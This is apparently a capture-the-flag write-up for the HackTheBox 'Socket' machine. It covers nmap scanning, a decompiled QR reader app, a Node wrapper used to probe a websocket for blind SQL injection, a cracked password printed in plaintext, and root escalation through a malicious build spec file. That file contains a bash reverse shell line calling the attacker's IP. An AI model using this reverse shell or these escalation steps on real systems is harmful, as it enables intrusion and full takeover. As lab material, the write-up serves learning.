Initial Enumeration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Nmap 7.93 scan initiated Mon Mar 27 12 :01 :06 2023 as : nmap - sC - sV - oN nmap/ socket socket.htb Nmap scan report for socket.htb (10.129 .194 .101 ) Host is up (0.26 s latency). Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION 22 / tcp open ssh OpenSSH 8.9 p1 Ubuntu 3 ubuntu0.1 (Ubuntu Linux; protocol 2.0 )| ssh- hostkey: | 256 4 fe3a667a227f9118dc30ed773a02c28 (ECDSA)| _ 256 816e78766 b8aea7d1babd436b7f8ecc4 (ED25519)80 / tcp open http Apache httpd 2.4 .52 | _http- server- header: Apache/ 2.4 .52 (Ubuntu)| _http- title: Did not follow redirect to http:/ / qreader.htb/ Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/ o:linux:linux_kernel Service detection performed. Please report any incorrect results at https:/ / nmap.org/ submit/ . # Nmap done at Mon Mar 27 12 :01 :25 2023
Web
app was a ELF file
decompiling it
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 import cv2import sysimport qrcodeimport tempfileimport randomimport osfrom PyQt5.QtWidgets import *from PyQt5 import uic, QtGuiimport asyncioimport websocketsimport jsonVERSION = '0.0.2' ws_host = 'ws://ws.qreader.htb:5789' icon_path = './icon.png' def setup_env (): global tmp_file_name pass class MyGUI (QMainWindow ): def __init__ (self = None ): super (MyGUI, self).__init__() uic.loadUi(tmp_file_name, self) self.show() self.current_file = '' self.actionImport.triggered.connect(self.load_image) self.actionSave.triggered.connect(self.save_image) self.actionQuit.triggered.connect(self.quit_reader) self.actionVersion.triggered.connect(self.version) self.actionUpdate.triggered.connect(self.update) self.pushButton.clicked.connect(self.read_code) self.pushButton_2.clicked.connect(self.generate_code) self.initUI() def initUI (self ): self.setWindowIcon(QtGui.QIcon(icon_path)) def load_image (self ): options = QFileDialog.Options() (filename, _) = QFileDialog.getOpenFileName(self, 'Open File' , '' , 'All Files (*)' ) if filename != '' : self.current_file = filename pixmap = QtGui.QPixmap(self.current_file) pixmap = pixmap.scaled(300 , 300 ) self.label.setScaledContents(True ) self.label.setPixmap(pixmap) def save_image (self ): options = QFileDialog.Options() (filename, _) = QFileDialog.getSaveFileName(self, 'Save File' , '' , 'PNG (*.png)' , options, **('options' ,)) if filename != '' : img = self.label.pixmap() img.save(filename, 'PNG' ) def read_code (self ): if self.current_file != '' : img = cv2.imread(self.current_file) detector = cv2.QRCodeDetector() (data, bbox, straight_qrcode) = detector.detectAndDecode(img) self.textEdit.setText(data) else : self.statusBar().showMessage('[ERROR] No image is imported!' ) def generate_code (self ): qr = qrcode.QRCode(1 , qrcode.constants.ERROR_CORRECT_L, 20 , 2 , **('version' , 'error_correction' , 'box_size' , 'border' )) qr.add_data(self.textEdit.toPlainText()) qr.make(True , **('fit' ,)) img = qr.make_image('black' , 'white' , **('fill_color' , 'back_color' )) img.save('current.png' ) pixmap = QtGui.QPixmap('current.png' ) pixmap = pixmap.scaled(300 , 300 ) self.label.setScaledContents(True ) self.label.setPixmap(pixmap) def quit_reader (self ): if os.path.exists(tmp_file_name): os.remove(tmp_file_name) sys.exit() def version (self ): response = asyncio.run(ws_connect(ws_host + '/version' , json.dumps({ 'version' : VERSION }))) data = json.loads(response) if 'error' not in data.keys(): version_info = data['message' ] msg = f'''[INFO] You have version {version_info['version' ]} which was released on {version_info['released_date' ]} ''' self.statusBar().showMessage(msg) else : error = data['error' ] self.statusBar().showMessage(error) def update (self ): response = asyncio.run(ws_connect(ws_host + '/update' , json.dumps({ 'version' : VERSION }))) data = json.loads(response) if 'error' not in data.keys(): msg = '[INFO] ' + data['message' ] self.statusBar().showMessage(msg) else : error = data['error' ] self.statusBar().showMessage(error) __classcell__ = None async def ws_connect (url, msg ): pass def main (): (status, e) = setup_env() if not status: print ('[-] Problem occured while setting up the env!' ) app = QApplication([]) window = MyGUI() app.exec_() if __name__ == '__main__' : main()
I created a simple wrapper to make it a http requests
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const express = require ('express' );const morgan = require ('morgan' )const WebSocket = require ('ws' );const wsHost = 'ws://ws.qreader.htb:5789' ;const processRequest = (endpoint,data ) =>{ console .log (data) return new Promise ((resolve,reject ) => { const ws = new WebSocket (wsHost + endpoint); ws.on ('open' , () => { console .log ("Sent" ,data) ws.send (data); }); ws.on ('message' , (message ) => { console .log ("Recieved" ,message) resolve (message); }); ws.on ('error' , (error ) => { console .log ("Recieved" ,error) reject (error); }); ws.on ('close' ,(message )=> { reject (message) }) }) } const app = express ();const port = 3000 ;app.use (morgan ("combined" )) app.get ('/version' , async (req, res) => { try { let payload = req.query .version .replaceAll ('"' ,'\\\"' ) let data = `{"version":"${payload} "}` console .log (`Trying ${data} ` ) JSON .parse (data) let response = await processRequest ('/version' ,data) res.send (response); } catch (e){ res.status (500 ).send ({"message" :"Invalid Request" }) } }); app.get ('/update' , async (req, res) => { let response = await processRequest ('/update' ,{version :req.query .version }) res.send (response); }); app.listen (port, () => { console .log (`Server running at http://localhost:${port} ` ); });
trying some payload we get blind injection on version ws.
using the script i was able to get
cracking the hash we get the password to be denjanjade122566
Possible Name
Privillege Escalation
1 sshpass -p denjanjade122566 ssh tkeller@10 .10.11.206
So i created a very simple spec file with
1 2 3 4 block_cipher = None import osos.system('bash -c "bash -i >& /dev/tcp/10.10.14.49/1337 0>&1"' )
running build we get a reverse shell as root